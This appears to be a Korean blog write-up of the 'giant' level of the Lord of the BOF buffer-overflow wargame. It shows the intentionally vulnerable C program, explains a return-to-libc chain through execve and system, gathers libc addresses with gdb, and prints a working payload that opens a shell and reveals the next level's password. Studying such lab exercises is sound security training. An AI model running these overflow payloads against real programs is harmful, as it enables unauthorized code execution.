728x90

bugbear / new divide

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

execve함수를 반드시 실행해야 한다.

execve 함수 형태는 다음과 같다.

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);

pathname에 파일명을 넣고, argv에는 파일명이 저장된 배열의 주소를 넣어야 한다.

사용 방식은 다음과 같다.

#include <unistd.h>
int main(){
	char* argv[2]={"/bin/sh",NULL};
    	execve("/bin/sh",argv,NULL);
}

이 문제에선 execve 함수의 두 번째 인자인 argv에 전달할 값을 모른다. 따라서 execve 함수를 호출 후 종료하고 system 함수를 호출하며 "/bin/sh"을 전달하는 방식으로 해결할 것이다. 이전 bugbear 문제는 RTL방식이었다면 이번엔 함수를 연달아 호출하는 RTL Chain 방식이다.

일반적인 형태는 다음과 같다. (func1 인자 2개, func2의 인자가 1개라고 가정)

buffer sfp ret addr
(func1)
pop pop retn
주소
func1
param1
func1
param2
func2
주소
dummy func2 param

과정을 살펴보면 func1으로 돌아가서 push ebp부터 시작해서 leave, ret 거치면서 pop retn 명령어의 주소로 eip가 설정될 것이다. 자연스럽게 pop pop retn 명령어를 각각 수행하면 func1 param1, param2는 pop 될 것이고 func2 주소로 retn 되어 func2가 실행될 것이다. func2 다음엔 호출할 함수가 없기에 dummy가 들어간다. 원래 func 다음엔 다음에 호출할 함수 주소가 들어간다.

직접 테스트한 글이 있기에 참고하면 도움이 될 것이다.

https://kblab.tistory.com/222

https://kblab.tistory.com/218

이 문제를 풀기 위해선 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(execve 함수)
retn addr
(system 함수)
dummy system 함수
param
("/bin/sh")

이제 execve 함수, system 함수, "/bin/sh"문자열의 주소를 구해보자.

[bugbear@localhost bugbear]$ gdb giant2 -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaaa
Starting program: /home/bugbear/giant2 aaaa

Breakpoint 1, 0x8048566 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>

system 주소: 0x40058ae0

execve 주소: 0x400a9d48

[bugbear@localhost bugbear]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh,"/bin/sh",8)){
		sh++;
	}
	printf("%p\n",sh);
}
[bugbear@localhost bugbear]$ gcc getaddr.c -o getaddr
[bugbear@localhost bugbear]$ ./getaddr
0x400fbff9

"/bin/sh" 주소: 0x400fbff9

payload를 완성해 보자.

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 
@ɀAAAA
bash$ my-pass
euid = 514
one step closer

위에 만든 형식대로 주소값을 대입했다. 주의할 점은 `python ~ ` 이 아니라 "`python ~`"인 것이다. execve 주소 인자에 \x0a가 들어가는데 print로 출력하면 개행임을 알 수 있다. 따라서 "(큰 따옴표)로 앞 뒤를 묶어서 문자로 처리한다.

giant의 비밀번호는 one step closer이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25

+ Recent posts